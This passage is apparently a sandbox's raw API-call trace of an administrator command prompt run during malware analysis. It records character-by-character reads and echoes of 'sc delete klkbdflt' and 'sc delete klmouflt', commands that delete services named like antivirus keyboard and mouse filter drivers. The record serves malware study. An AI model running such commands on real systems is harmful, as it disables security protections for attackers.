ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.942] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.943] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0072.986] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.986] CloseHandle (hObject=0x50) returned 1 [0072.986] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.986] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.986] GetProcessHeap () returned 0x4a0000 [0072.986] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.986] GetEnvironmentStringsW () returned 0x4c1b10* [0072.986] GetProcessHeap () returned 0x4a0000 [0072.986] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.986] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.986] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.986] GetProcessHeap () returned 0x4a0000 [0072.986] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.986] GetEnvironmentStringsW () returned 0x4c1b10* [0072.986] GetProcessHeap () returned 0x4a0000 [0072.986] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.986] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.986] GetProcessHeap () returned 0x4a0000 [0072.986] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.986] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.986] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.987] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.987] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.987] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.987] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.987] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.987] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.987] GetConsoleOutputCP () returned 0x1b5 [0072.987] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.987] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.988] GetProcessHeap () returned 0x4a0000 [0072.988] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.988] GetProcessHeap () returned 0x4a0000 [0072.988] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.988] GetProcessHeap () returned 0x4a0000 [0072.988] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.988] GetProcessHeap () returned 0x4a0000 [0072.988] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.988] GetProcessHeap () returned 0x4a0000 [0072.988] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0072.988] GetProcessHeap () returned 0x4a0000 [0072.988] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.988] GetProcessHeap () returned 0x4a0000 [0072.988] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0072.988] GetProcessHeap () returned 0x4a0000 [0072.988] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.988] GetProcessHeap () returned 0x4a0000 [0072.988] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.988] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.988] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.988] GetFileType (hFile=0x120) returned 0x3 [0072.988] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.988] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.989] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.989] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.989] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.989] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.989] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.989] GetFileType (hFile=0x120) returned 0x3 [0072.989] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.989] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.989] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.989] GetFileType (hFile=0xb8) returned 0x3 [0072.989] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.989] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.989] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.989] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.989] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.989] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.989] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.989] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.989] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.989] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.989] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.989] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.989] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.989] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.990] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.990] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.990] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.990] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.990] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.990] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.990] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.990] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.990] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.990] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.990] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.990] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.990] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.990] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.990] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.990] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.990] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.990] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.990] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.990] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.990] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.990] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.990] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.990] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.990] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.991] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.991] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.991] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.991] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.991] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.991] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="lkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.991] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.991] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.991] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="mbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.991] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.991] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.991] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="odflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.991] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.991] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.991] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="uflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.991] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.991] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.991] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="flt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.991] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.992] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.992] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.992] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="lt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.992] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.992] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.992] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.992] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="t\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.992] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.992] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.992] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.992] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.992] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.992] GetFileType (hFile=0xb8) returned 0x3 [0072.992] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.992] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.992] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.992] GetFileType (hFile=0x120) returned 0x3 [0072.992] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klmouflt\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klmouflt\n", lpUsedDefaultChar=0x0) returned 20 [0072.992] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x13, lpOverlapped=0x0) returned 1 [0072.992] GetProcessHeap () returned 0x4a0000 [0072.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.992] GetProcessHeap () returned 0x4a0000 [0072.992] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.992] GetProcessHeap () returned 0x4a0000 [0072.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.993] GetProcessHeap () returned 0x4a0000 [0072.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.993] GetProcessHeap () returned 0x4a0000 [0072.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x32) returned 0x4b6510 [0072.993] GetConsoleOutputCP () returned 0x1b5 [0072.993] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.993] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.993] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.993] GetProcessHeap () returned 0x4a0000 [0072.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.993] GetProcessHeap () returned 0x4a0000 [0072.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x38) returned 0x4b6550 [0072.993] GetProcessHeap () returned 0x4a0000 [0072.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0072.993] SetErrorMode (uMode=0x0) returned 0x1 [0072.993] SetErrorMode (uMode=0x1) returned 0x0 [0072.993] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.994] SetErrorMode (uMode=0x1) returned 0x1 [0072.994] GetProcessHeap () returned 0x4a0000 [0072.994] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0072.994] GetProcessHeap () returned 0x4a0000 [0072.994] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0072.994] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.994] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.994] GetProcessHeap () returned 0x4a0000 [0072.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.994] GetProcessHeap () returned 0x4a0000 [0072.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.994] GetProcessHeap () returned 0x4a0000 [0072.994] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.994] GetProcessHeap () returned 0x4a0000 [0072.994] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.994] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.994] GetProcessHeap () returned 0x4a0000 [0072.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0072.994] GetProcessHeap () returned 0x4a0000 [0072.994] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0072.994] GetProcessHeap () returned 0x4a0000 [0072.994] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0072.994] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.994] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.994] GetLastError () returned 0x2 [0072.995] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.995] GetLastError () returned 0x2 [0072.995] GetDriveTypeW 